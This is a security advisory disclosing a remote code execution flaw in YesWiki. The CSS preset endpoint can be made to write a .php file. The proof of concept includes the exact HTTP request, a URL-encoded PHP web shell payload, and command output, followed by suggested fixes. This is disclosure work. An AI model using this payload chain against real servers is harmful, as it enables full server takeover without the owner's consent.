GHSA-88xg-v53p-fpvf: YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution

Summary

An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.

All testing was performed on a local docker setup running the latest version of the application.

PoC

Proof of Concept

Navigate to http://localhost:8085/?LookWiki which allows you to click Create a new Graphical configuration where you specify some parameters and then click Save.

After clicking save, this request is made (most headers removed for clarity):

POST /?api/templates/custom-presets/test.css HTTP/1.1
Host: localhost:8085

primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif

This request writes the file test.css to disk with the contents (abbreviated)

:root {
  --primary-color: #0c5d6a;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to .php and add arbitrary PHP code in for one of the request body parameters.

e.g. primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E

Now the file pizzapower.php is written to /var/www/html/custom/css-presets/pizzapower.php and it starts with this, where the PHP code is present.

:root {
  --primary-color: <?php system($_GET['cmd']); ?>;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

Then, simply visit the file with a cmd parameter included.

http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id

And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).

:root {
  --primary-color: uid=501(yeswiki) gid=501 groups=501
;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

Impact

Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.

Fixes

Amongst others:

Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.
Harden server config: Disable PHP execution in user-writable directories

References

• GHSA-88xg-v53p-fpvf
• YesWiki/yeswiki@8fe5275